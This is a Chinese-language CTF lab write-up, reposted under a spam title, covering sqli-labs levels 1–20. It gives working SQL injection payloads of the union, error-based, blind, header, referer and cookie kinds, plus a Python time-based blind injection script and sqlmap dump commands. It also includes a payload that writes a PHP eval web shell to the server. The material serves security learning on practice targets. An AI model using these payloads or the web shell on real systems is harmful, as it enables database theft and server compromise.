您的位置:首页 > 娱乐 > 八卦 > 佛山响应式网站_四川疫情最新情况最新消息_最新旅游热点_拼多多代运营收费标准

佛山响应式网站_四川疫情最新情况最新消息_最新旅游热点_拼多多代运营收费标准

2025/3/10 6:07:53 来源:https://blog.csdn.net/2301_80024722/article/details/146136641  浏览:    关键词:佛山响应式网站_四川疫情最新情况最新消息_最新旅游热点_拼多多代运营收费标准
佛山响应式网站_四川疫情最新情况最新消息_最新旅游热点_拼多多代运营收费标准
  1. less-1:
    1. 题目:
    2. 思路:根据提示,让输入一个数字的值,于是get一个id试试:首先判断一下是哪种注入方式,分别用1和1’试一试发现有引号闭合:于是判断为字符型注入,找回显位:3可以4不可以,说明是三个字段,回显位为2,3:得到数据库名为Security:?id=-1' union select 1,2,database();--+报出表名:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+爆字段名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()--+可以看看用户密码:?id=-1' union select 1,2,group_concat(username,password) from users;--+
    3. 知识点:
  2. less-2:
    1. 思路:
      1. 判断注入类型:?id=1和id =2-1一样的回显,说明是数字型注入
      2. 找回显位:与上一题类似:回显位为2,3.回显字段数为3?id=1 or 1=1 order by 4;--+
      3. 爆库名:?id=-1 union select 1,2,group_concat(database());--+
      4. 表名:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+
      5. 字段名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database();--+
      6. 后面的与之前类似
    2. 知识点:
  3. less-3:
    1. 思路:
      1. 判断注入类型:id=2-1和od=1结果不同,所以是字符型注入—这里有一个小坑:后面还有一个括号需要闭合,因此需要在id后面补上一个括号,其余和后面一致:
      2. 找回显位:?id=-1') or 1=1 order by 3;--+
      3. 库名:
      4. 表名:?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+后面的类似
    2. 知识点:括号闭合
  4. less-4
    1. 思路:
      1. 注入类型判断为 字符型注入,但似乎仍然没什么进展,于是要找到他要闭合的符号是什么:得到闭合符号为: "),于是进行闭合,后面的和之前一样:
      2. 回显位为2,3
      3. 后面的步骤类似。可以同样得到数据库的结果。
    2. 知识点:闭合符号
  5. less-05:报错注入,盲注
    1. 题目:
    2. 思路:可以使用盲注的方法,这里试一下时间盲注:首先判断数据库长度:?id=1' and (if(length(database())=8,sleep(5),1));--+可见时间盲注行得通。(2)试试布尔盲注:?id=1' and (length(database())=9);--+也没有问题。这里可以浅试一下盲注的脚本:
import requests
import time# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload# 目标网址(不带参数)
url = "http://81c3bef3-d18a-4f12-83c6-f39a7ed752ec.node5.buuoj.cn/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and if((length(database()) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and if((ascii(substr((database()),{n},1)) ={r})
, sleep(5), 3) -- a"""# 获取长度
def getLength(url, payload):length = 1  # 初始测试长度为1while True:start_time = time.time()response = requests.get(url= url+payload_len.format(n= length))# 页面响应时间 = 结束执行的时间 - 开始执行的时间use_time = time.time() - start_time# 响应时间>5秒时,表示猜解成功if use_time > 5:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1  # 测试长度递增# 获取字符
def getStr(url, payload, length):str = ''  # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):start_time = time.time()response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面响应时间 = 结束执行的时间 - 开始执行的时间use_time = time.time() - start_time# 页面中出现此内容则表示成功if use_time > 5:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
    1. 这里是成功得到了数据库名,![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740397885238-0dcc9a5f-e261-4969-ad5b-494837ac60f4.png)这里还可以使用报错注入:`?id=1' and extractvalue(1,concat('~',(select database())));--+`得到数据库名:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740398937577-4570eecb-725b-4444-8f0f-17d6ce063655.png)得到数据库的列:`?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())));--+`![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740399097951-6dccaae8-1e81-4d80-8089-89b17ccb6a7d.png)后面就是类似的替换了。
3. 知识点:报错注入常用函数:
1extractValue()
语法:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串),Xpath语法SELECT extractvalue(doc,concat(0x7e,(SELECT DATABASE()))) FROM xml;
SELECT extractvalue(doc,concat('~',(SELECT DATABASE()))) FROM xml;doc的位置是查询列可以随便填因为不是我们需要的目标
报错执行后面的sql语句SELECT DATABASE()
0x7e~ASCII码,concat()函数是拼接的作用。使语句变为~(SELECT DATABASE())从而报错
正常用~但是= + * .等都可以
由于concat(str1, str2,...)所以将~转化为ASCII2updatexml()
语法:
UPDATEXML(XML_document, XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串),Xpath语法
第三个参数:new_value,string格式,替换查找到的符合条件的数据
3floor()
  1. less 06
    1. 题目:
    2. 思路:试了试时间盲注发现不行,于是尝试下布尔盲注,仍然不行,那就尝试报错注入:?id=1' and extractvalue(1,concat('~',(select database())));--+没有任何回显仍然是不行的,于是查看大神wp:发现自己题目都没有审清楚,这道题的闭合方式为双引号闭合:试一试报错注入:?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+发现没有问题,查询表名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+后面同理。更换相关字段即可。盲注的方法同样可以使用?id=1" and if(length(database())>7,sleep(5),2)--+将上一关的单引号换为双引号即可。
    3. 知识点:双引号闭合
  2. less 07 基于文件写入注入
    1. ?id=-1')) union select 1,2,"<?php eval($_POST['cmd']);?>" into outfile "./shell.php";--+可以通过into outfile写入文件,类似的还可以使用:第一个函数一般是以固定的格式写入文件,通常使用第二个比较多
  3. less 08
    1. 题目:
    2. 思路:先判断是什么闭合,但是由于没有报错显示,于是借助时间盲注的方法判断,发现是单引号闭合,?id=1' and if(length(database())>5,sleep(5),3)--+通过回显时间得到数据库名长度:?id=1' and if(length(database())=8,sleep(5),3)--+后面的采用时间盲注脚本:得到数据库名:security后面得到表的数量:?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),3)--+反应时间较长:布尔盲注也是可以的?id=1' and (length(database())=8)--+获取表名:(一个一个字符的获取)?id=1' and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()), 1)='e')--+这一步可以利用bp爆破单个字符,会快一些。
    3. 知识点:无报错注入可以使用盲注
  4. less 09:
    1. 观察题目,这道题题目提示的是时间盲注,一开始先试用一下布尔盲注试一试,这样发现不管输入什么,页面都显示一样的的内容,这种情况可以使用时间盲注,根据页面产生回显的时间来判断:[http://c6caa85c-21cf-43a5-ae12-c88e48544563.node5.buuoj.cn/Less-9/?id=1%27%20and%20(if((length(database())%3E1),sleep(5),3));--+](http://c6caa85c-21cf-43a5-ae12-c88e48544563.node5.buuoj.cn/Less-9/?id=1%27%20and%20(if((length(database())%3E1),sleep(5),3));--+)使用if函数:if(条件1,执行1,执行2)一般执行语句可以使用sleep函数,爆破数据库名:?id=1' and (if((left((select database()),1)='s'),sleep(5),3));--+以此类推获得数据库名表名以及字段名
  5. less 10:
    1. 第十关是一样的,但是闭合方式改为了双引号,只需要将上一个的单引号改为双引号就可以了?id=1" and (if((left((select database()),1)='s'),sleep(5),3));--+
  6. less 11:
    1. 第十关的页面发生了变化,是一个用户登录页面,注入点先试试用户名那里,输入1,发现登录失败,但输入1’ 的话就发现是有问题的根据报错可以发现就是单引号闭合,接着注入发现–+ 后面的内容并没有注释掉,于是采用井号进行闭合发现此时没有回显应该是正确的:通过orderby得到回显字段数为2,于是使用Union联合注入:得到回显位-1' union select 1,2#后面的就和之前的一样了:获取表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();#
  7. less 12:
    1. 这一关考验的是闭合方式:首先试试看单引号没有回显,再试试双引号1" order by 4#可以得到闭合方式为双引号+括号:1") order by 4#后面就和其他的一样:使用联合注入,爆破库名,表名,字段名:-1") union select database(),2#-1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#-1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()# 后面直接查看即可
  8. less 13:
    1. 首先判断是字符型注入:输入1‘发现得到闭合方式是 ')于是进行联合注入,在确定回显位数为2之后,后来发现,联合注入没有消息回显,于是这种方法作废,采用其他方法,看到报错能够正常显示,于是试试报错注入:1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#获得数据库的表名:1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#后面的类似。
  9. less 14:
    1. 同13类似,不过闭合方式为双引号:1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
  10. less 15:
    1. 根据题目提示是时间盲注或者布尔盲注,于是先用时间盲注试试,看看闭合,使用admin' and sleep(5)#试试发现成功延时,说明是单引号闭合,于是开始报数据库名:长度:admin' and if((length(database())=8),sleep(5),3)#首字母:admin' and if((left((select database()),1)='s'),sleep(5),3)#有延时admin' and if((left((select database()),2)='se'),sleep(5),3)#有延时,以此类推获得数据库名,表名,字段名也可以使用ascii结合substr函数(从1开始而不是从0开始): admin' and if((ascii(substr((select database()),0,1))>100),sleep(5),3)# 这样也可:admin' and if((substr((select database()),1,1)='s'),sleep(5),3)#后面就逐层爆破。
  11. less 16:
    1. 判断闭合为双引号+)")``admin") and sleep(5)#可以看到有延时:那么只需要将上一关的单引号换为双引号+)即可:admin") and if((substr((select database()),1,1)='s'),sleep(5),3)#成功延时后面就类似之前的
  12. less 17:
    1. 这道题目提示是报错注入,但是无论输入什么用户名都显示无回显,于是尝试试试密码:输入单引号的时候发现出现了报错,于是就采用password进行报错注入:爆库名:admin' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1)#爆表表明:admin' and updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)),1)#后面的类似进行。
    2. 使用sqlmap:爆破数据库名:sqlmap.py -u [http://61840f8b-b178-46e9-8c8a-ecd932e5844e.node5](http://61840f8b-b178-46e9-8c8a-ecd932e5844e.node5).buuoj.cn/Less-1/?id=1 --dbs得到结果:表名:sqlmap.py -u [http://61840f8b-b178-46e9-8c8a-ecd932e5844e.node5](http://61840f8b-b178-46e9-8c8a-ecd932e5844e.node5).buuoj.cn/Less-1/?id=1 -D ctftraining --tables得到字段名:sqlmap.py -u [http://61840f8b-b178-46e9-8c8a-ecd932e5844e.node5](http://61840f8b-b178-46e9-8c8a-ecd932e5844e.node5).buuoj.cn/Less-1/?id=1 -D ctftraining -T flag --tables字段内容:sqlmap.py -u [http://61840f8b-b178-46e9-8c8a-ecd932e5844e.node5](http://61840f8b-b178-46e9-8c8a-ecd932e5844e.node5).buuoj.cn/Less-1/?id=1 -D ctftraining -T flag --dump
  13. less 18:
    1. 看到题目提示是header头注入,但是这种类型我还没有遇到,于是就从网上寻找资料:这道题目看看源码,进行分析可以知道:源码里面获得的uagent变量是获得了全局变量数组中的ua头,并且直接被拼接到了sql语句上,于是这里就出现了sql漏洞抓包进行ua头修改:但是这里无论怎么修改发现没反,想了很久也没发现,后来看到有些大佬的wp才知道,17关自己修改了账号和密码,在到17关进行重置一下就可以了于是我们登录发现:返回了ua头的内容,,于是我们抓包进行修改,发现闭合方式,于是我们修改为:a' or updatexml(1,(concat(0x7e,(select database()),0x7e)),1),1,1)#这里多了括号是为了闭合sql语句中的括号获取所有数据库名:a' or updatexml(1,(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)),1),1,1)#获取ctftraining库中的表明:a' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),0x7e)),1),1,1)#查看flag:a' or updatexml(1,(concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)),1),1,1)#我们发现只能看到一部分,于是采用字符串截取:a' or updatexml(1,(concat(0x7e,substr((select group_concat(flag) from ctftraining.flag),1,30),0x7e)),1),1,1)#后半部分:a' or updatexml(1,(concat(0x7e,substr((select group_concat(flag) from ctftraining.flag),31,30),0x7e)),1),1,1)#
  14. less 19 :
    1. 这次发现这里应该是referer可以进行注入:通过bp抓包修改referer试试: ' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1),1)#多了一个括号是对外面的拼接内容进行赋值,说白了也是为了符合sql语句规范后面的测试流程都差不多,只需要更改查询语句即可。
  15. less 20:
    1. 输入admin之后发现了提示:cookie,sql里面有种方法是cookie注入,这里进行抓包尝试:对cookie进行注入尝试:输单引号发现暴报错,于是发现闭合方式就是单引号,于是进行注入,获取数据库名uname=' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1)后面的内容基本类似。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com